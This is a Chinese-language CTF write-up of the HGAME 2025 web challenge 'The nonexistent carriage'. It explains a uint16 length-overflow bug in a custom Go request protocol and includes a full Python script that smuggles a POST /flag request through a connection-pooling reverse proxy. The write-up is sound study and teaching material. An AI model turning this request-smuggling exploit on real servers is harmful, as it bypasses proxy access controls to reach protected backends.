不存在的车厢复现

2025 hgame-不存在的车厢复现

官方WP思路如下:

image-20250219131123627

题目给了源码,分析代码可得

image-20250219131301665

开放的是8081端口

image-20250219131343825

flag在8080端口

当我们用GET方式访问,会得到Welcome to HGAME 2025响应,用POST的话,代理会直接拒绝,做题时,想到了用走私通过8081端口走私8080拿到flag,但是看不明白request.go,没想到整数溢出,这道题确实受益匪浅

分析request.go

写入函数分析

这段 Go 代码实现了一个自定义的 H111 请求协议,能够序列化(写入)和反序列化(读取)http.Request。它包含两个核心函数:

  1. ReadH111Request(reader io.Reader) (*http.Request, error)
    从二进制流读取数据,并构造 HTTP 请求
  2. WriteH111Request(writer io.Writer, req *http.Request) error
    将 HTTP 请求序列化为二进制数据流

WriteH111Request() 里,数据长度是这样写入的:

1
binary.Write(writer, binary.BigEndian, uint16(len(methodBytes)))

如果 methodBytes 长度 意外超过 65535,例如:

1
2
methodBytes := make([]byte, 65536) // 长度 = 65536
binary.Write(writer, binary.BigEndian, uint16(len(methodBytes)))

举个例子给你们看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main

import "fmt"

func main() {
var num1 int = 65536
var num2 int = 65537
var num3 int = 65538
var num4 int = 131072

fmt.Println("uint16(65536):", uint16(num1)) // 65536 溢出,变成 0
fmt.Println("uint16(65537):", uint16(num2)) // 65537 溢出,变成 1
fmt.Println("uint16(65538):", uint16(num3)) // 65538 溢出,变成 2
fmt.Println("uint16(131072):", uint16(num4)) // 131072 溢出,变成 0
}

输出就是
image-20250219140558300

读取函数分析

ReadH111Request() 里,数据是按 Len+Data 方式解析的:

1
2
3
4
5
var methodLength uint16
binary.Read(reader, binary.BigEndian, &methodLength)

method := make([]byte, int(methodLength))
_, err := io.ReadFull(reader, method)

如果 methodLength == 0x0000(因为 65536 溢出到 0),则:

  • make([]byte, 0) 创建的是空数组。
  • io.ReadFull(reader, method) 直接跳过 method 的读取。
  • 方法字段的数据仍然存在流中,但没有被解析,导致后续数据错位,从而保留我们的POST请求!

bodyLength == 0,但实际 65519 个字节仍然在 TCP 流里。

分析main.go

处理客户端连接使用了无限for循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for {
conn, err := listener.Accept()
if err != nil {
log.Println(err)
continue
}
go serverH111(conn)
}

func serverH111(conn net.Conn) {
defer conn.Close()
for {
req, err := h111.ReadH111Request(conn)
if err != nil {
log.Println(err)
return
}
recorder := httptest.NewRecorder()
mux.ServeHTTP(recorder, req)
resp := recorder.Result()
log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
err = h111.WriteH111Response(conn, resp)
if err != nil {
log.Println(err)
return
}
}
}

for {} 无限循环,不断接受新的连接。

分析反向代理main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func main() {
pool = sync.Pool{
New: func() interface{} {
for {
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println("error dialing to backend server")
time.Sleep(time.Millisecond * 300)
continue
}
return conn
}
},
}
http.ListenAndServe(":8081", &proxyHandler{})
}

sync.Pool{ New: func() { ... } }

  • 定义了连接池的 New 函数:当连接池为空时,会创建一个新的 TCP 连接

使用 sync.Pool 作为连接池,优化 TCP 连接复用,我们可以利用这一点

实施攻击

根据上面的分析,我们的攻击思路就是通过构造一个长度等于65536的GET请求,通过溢出归0,走私我们的POST请求

官方WP是用的yakit发包,我用到yakit比较少,写了个脚本

image-20250219151908490

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import socket
import struct

def build_h111_request():
method = b'POST'
uri = b'/flag'
headers = {} # 无请求头
body = b'' # 空请求体

data = b''
# 方法部分
data += struct.pack('>H', len(method)) # 方法长度(大端序2字节)
data += method # 方法内容
# URI部分
data += struct.pack('>H', len(uri)) # URI长度
data += uri # URI内容
# 请求头部分
data += struct.pack('>H', len(headers)) # 请求头数量
for key, values in headers.items(): # 遍历每个请求头(此处无)
key_bytes = key.encode()
data += struct.pack('>H', len(key_bytes))
data += key_bytes
for value in values:
value_bytes = value.encode()
data += struct.pack('>H', len(value_bytes))
data += value_bytes
# 请求体部分
data += struct.pack('>H', len(body)) # 请求体长度
data += body # 请求体内容

return data

h111_request = build_h111_request() # 返回字节串
print(h111_request)

length1 = len(h111_request)
length2 = 65536 - length1
h111_request = h111_request + length2 * b'0' # 使用字节而不是字符
print(len(h111_request))

def build_http_request(full_body):
"""
构造最终的 HTTP 请求
"""
request_line = b"GET /flag HTTP/1.1\r\n"
headers = (
b"Host: node1.hgame.vidar.club:31772\r\n" +
b"Content-Length: " + str(len(full_body)).encode() + b"\r\n" +
b"\r\n"
)
if isinstance(full_body, str):
full_body = full_body.encode() # 如果是字符串类型,转换为字节串
http_request = request_line + headers + full_body
return http_request

http_request = build_http_request(h111_request)
print(http_request)

host = "node1.hgame.vidar.club"
port = 31772

with socket.create_connection((host, port)) as s:
s.sendall(http_request)
response = b""
s.settimeout(5) # 设置更长的超时时间
while True:
try:
data = s.recv(4096)
if not data:
break
response += data
except socket.timeout:
print("Connection timed out!")
break
print(response.decode())

image-20250219201613565

脚本需要多执行几次保持复用


不存在的车厢复现
https://eznp.github.io/2025/02/19/不存在的车厢复现/
作者
Zer0
发布于
2025年2月19日
许可协议